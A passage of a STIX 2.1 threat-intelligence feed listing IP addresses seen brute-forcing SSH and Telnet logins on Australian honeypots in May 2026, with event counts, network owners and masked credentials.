      "valid_from": "2026-05-22T12:15:11.000Z",
      "valid_until": "2026-06-23T12:15:09.000Z"
    },
    {
      "created": "2026-05-22T12:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--b07e3f31-0a8f-4fee-a5d2-f4979754aafc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.165.154.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T12:15:11.000Z",
      "valid_until": "2026-06-23T12:15:09.000Z"
    },
    {
      "created": "2026-05-22T12:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--a7a90a1e-9765-44b2-8c6c-5648cd231258",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.40.11.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T12:15:11.000Z",
      "valid_until": "2026-06-23T12:15:09.000Z"
    },
    {
      "created": "2026-05-22T12:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--551547a9-dc8a-4ebe-8b19-dae5f0e58750",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.108.157.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T12:15:11.000Z",
      "valid_until": "2026-06-23T12:15:09.000Z"
    },
    {
      "created": "2026-05-22T12:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--5f220404-1fe4-44dc-bb2a-c0d4148ea4cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.108.81.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T12:15:11.000Z",
      "valid_until": "2026-06-23T12:15:09.000Z"
    },
    {
      "created": "2026-05-22T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 28140. Organisation(s): G2G INTERNET E SERVICOS DE TELECOM LTDA. Usernames observed (masked): r**t, 3**********4, d*****n, ***, m******d. Passwords observed (masked): 1****6, 1***5, 1******r, 1*********#, 3***********4.",
      "id": "indicator--0250c6e8-024a-4073-84e1-6d6bf7a6cf61",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.49.39.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T12:15:11.000Z",
      "valid_until": "2026-06-23T12:15:09.000Z"
    },
    {
      "created": "2026-05-22T12:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 22085. Organisation(s): Claro SA.",
      "id": "indicator--fb48180f-df5e-4ede-a5f4-433d34c51ff9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.93.69.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T12:15:11.000Z",
      "valid_until": "2026-06-23T12:15:09.000Z"
    },
    {
      "created": "2026-05-22T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 215125. Organisation(s): Church of Cyberology. Usernames observed (masked): s*****t. Passwords observed (masked): I***********************4.",
      "id": "indicator--12595dde-42e5-4206-9a04-b09cb82bc2dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T12:15:11.000Z",
      "valid_until": "2026-06-23T12:15:09.000Z"
    },
    {
      "created": "2026-05-22T12:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 137266. Organisation(s): CHINATELECOM Hubei province Wuhan 5G network.",
      "id": "indicator--f5bfc502-aee9-46f7-938f-e32401242a4c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.17.194.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T12:15:11.000Z",
      "valid_until": "2026-06-23T12:15:09.000Z"
    },
    {
      "created": "2026-05-22T12:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--1bf82447-e54d-469c-a4b4-b9a86edbf23c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.100.59.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T12:15:11.000Z",
      "valid_until": "2026-06-23T12:15:09.000Z"
    },
    {
      "created": "2026-05-22T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 266097. Organisation(s): YUHOO NET. Usernames observed (masked): r**t, s***m, 3**********4, a***d, c****t. Passwords observed (masked): 1****3, 1****6, 3***********4, 3**********4, A*******4.",
      "id": "indicator--037b9ac2-7ae9-45b9-bf80-e3059fe77f01",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.4.179.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T12:15:11.000Z",
      "valid_until": "2026-06-23T12:15:09.000Z"
    },
    {
      "created": "2026-05-22T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 614. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): r**t, u***1, d****y, f****e, u****u. Passwords observed (masked): 1****6, ***, p******d, !******X, *.",
      "id": "indicator--63911bf7-e637-4f5f-8e3c-f4eac089d81c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.236.109.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T12:15:11.000Z",
      "valid_until": "2026-06-23T12:15:09.000Z"
    },
    {
      "created": "2026-05-22T12:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--f3823670-cc3b-4d19-9614-269b8791dedb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.236.48.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T12:15:11.000Z",
      "valid_until": "2026-06-23T12:15:09.000Z"
    },
    {
      "created": "2026-05-22T12:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AL. ASN(s): 216046. Organisation(s): Tele.Co.Albania SHPK.",
      "id": "indicator--cd30df89-0dab-404f-a4c8-e4c577547afc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '77.247.88.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T12:15:11.000Z",
      "valid_until": "2026-06-23T12:15:09.000Z"
    },
    {
      "created": "2026-05-22T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 212552. Organisation(s): BitCommand LLC. Usernames observed (masked): d*******r, 3**********4, k*****n, r**t, t****l. Passwords observed (masked): 1****9, 3***********4, 3**********4, d***********6, k*****n.",
      "id": "indicator--16331645-14aa-49f6-84d2-75c359cf7f5a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '82.115.17.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T12:15:11.000Z",
      "valid_until": "2026-06-23T12:15:09.000Z"
    },
    {
      "created": "2026-05-22T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PL. ASN(s): 202520. Organisation(s): SkyPass Solutions Sp. z.o.o.. Usernames observed (masked): r**t, 3**********4, ***, f****e. Passwords observed (masked): 1**9, **, 3***********4, 3**********4, ***.",
      "id": "indicator--ee9b4883-77c9-4a95-bddb-de97330f1233",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '83.168.107.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T12:15:11.000Z",
      "valid_until": "2026-06-23T12:15:09.000Z"
    },
    {
      "created": "2026-05-22T12:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ES. ASN(s): 57269. Organisation(s): Digi Spain Telecom S.A.",
      "id": "indicator--bd5b85fd-04ad-4a08-b3ae-e5c304326d4f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '86.127.254.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T12:15:11.000Z",
      "valid_until": "2026-06-23T12:15:09.000Z"
    },
    {
      "created": "2026-05-22T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--33625454-b167-4f50-8c05-ebd7f3013f1e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '114.138.113.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T13:15:11.000Z",
      "valid_until": "2026-06-23T13:15:08.000Z"
    },
    {
      "created": "2026-05-22T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 140293. Organisation(s): CHINATELECOM Jiangsu province Changzhou 5G network.",
      "id": "indicator--9b21f2df-2ab6-4915-bcd6-0141080dc154",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '114.226.168.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T13:15:11.000Z",
      "valid_until": "2026-06-23T13:15:08.000Z"
    },
    {
      "created": "2026-05-22T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--eceb3d08-ce05-467e-93c4-aac1a4fada6e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.62.212.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T13:15:11.000Z",
      "valid_until": "2026-06-23T13:15:08.000Z"
    },
    {
      "created": "2026-05-22T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--7248a978-78e2-4be5-8e84-a202f51fabd9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '118.248.164.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T13:15:11.000Z",
      "valid_until": "2026-06-23T13:15:08.000Z"
    },
    {
      "created": "2026-05-22T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 17924. Organisation(s): SmarTone Mobile Communications Ltd.",
      "id": "indicator--09d35e94-d8c9-48b3-b2bd-baf333307838",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '121.202.143.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T13:15:11.000Z",
      "valid_until": "2026-06-23T13:15:08.000Z"
    },
    {
      "created": "2026-05-22T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--37a77036-291a-477e-ab9b-c14985d24112",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.33.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T13:15:11.000Z",
      "valid_until": "2026-06-23T13:15:08.000Z"
    },
    {
      "created": "2026-05-22T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--8aa033db-e9ca-49bb-b47b-c018a8d3a525",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '221.233.53.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T13:15:11.000Z",
      "valid_until": "2026-06-23T13:15:08.000Z"
    },
    {
      "created": "2026-05-22T14:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--d882f3b9-d1ec-4247-a4a4-3159fbe8022c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.221.28.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T14:15:11.000Z",
      "valid_until": "2026-06-23T14:15:08.000Z"
    },
    {
      "created": "2026-05-22T14:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--3cc9b239-41e0-43ef-81a4-604c02ccc432",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '114.138.105.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T14:15:11.000Z",
      "valid_until": "2026-06-23T14:15:08.000Z"
    },
    {
      "created": "2026-05-22T14:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--815ddd08-96a0-465e-b86e-67ecbdb61b2b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '114.138.97.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T14:15:11.000Z",
      "valid_until": "2026-06-23T14:15:08.000Z"
    },
    {
      "created": "2026-05-22T14:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--59f5ded9-1c63-49e1-bef9-08f92bf36e46",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '117.83.81.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T14:15:11.000Z",
      "valid_until": "2026-06-23T14:15:08.000Z"
    },
    {
      "created": "2026-05-22T14:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--67f99a68-8e21-4e50-a206-925f021d2837",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '121.23.132.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T14:15:11.000Z",
      "valid_until": "2026-06-23T14:15:08.000Z"
    },
    {
      "created": "2026-05-22T14:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): k*********3.",
      "id": "indicator--7fcb1c85-8616-441c-bfae-7a9f9b9ca372",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.232.174.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T14:15:11.000Z",
      "valid_until": "2026-06-23T14:15:08.000Z"
    },
    {
      "created": "2026-05-22T14:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--9ce25cc8-7fde-4373-a357-9af6ec9cab41",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.0.110.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T14:15:11.000Z",
      "valid_until": "2026-06-23T14:15:08.000Z"
    },
    {
      "created": "2026-05-22T14:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: LU. ASN(s): 214472. Organisation(s): Offshore LC. Usernames observed (masked): a***n, r**t, u**r. Passwords observed (masked): a***n, r**t, u**r.",
      "id": "indicator--b7ce26dc-bb16-4deb-b80f-8e07ba485182",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T14:15:11.000Z",
      "valid_until": "2026-06-23T14:15:08.000Z"
    },
    {
      "created": "2026-05-22T14:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: LU. ASN(s): 214472. Organisation(s): Offshore LC.",
      "id": "indicator--836bb566-c3c7-4651-bd3d-189e7c9dc8fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T14:15:11.000Z",
      "valid_until": "2026-06-23T14:15:08.000Z"
    },
    {
      "created": "2026-05-22T14:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PY. ASN(s): 23201. Organisation(s): Telecel S.A..",
      "id": "indicator--bec14423-8cae-4493-ad6d-69ad6a66757f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.121.126.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T14:15:11.000Z",
      "valid_until": "2026-06-23T14:15:08.000Z"
    },
    {
      "created": "2026-05-22T14:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MY. ASN(s): 10030. Organisation(s): Celcom Axiata Berhad.",
      "id": "indicator--c45ff121-a8a8-4609-bbcc-c942cb5f239a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.171.212.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T14:15:11.000Z",
      "valid_until": "2026-06-23T14:15:08.000Z"
    },
    {
      "created": "2026-05-22T14:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 81. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 263356. Organisation(s): CNT Fiber. Usernames observed (masked): r**t, 3**********4, u****u. Passwords observed (masked): 3**********4, 5**4, U********4, q************4.",
      "id": "indicator--b7678d27-dee4-4dbd-a8a0-a9faeb52fc69",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '191.37.77.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T14:15:11.000Z",
      "valid_until": "2026-06-23T14:15:08.000Z"
    },
    {
      "created": "2026-05-22T14:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa. Usernames observed (masked): r**t, 3**********4, d****n, p***a, u**r. Passwords observed (masked): ***, 1**4, 1****6, 1******C, 3***********4.",
      "id": "indicator--2a444070-8c77-403f-8a16-a6eb0c3e229c",
      "labels": [
        "bruteforce"
      ],
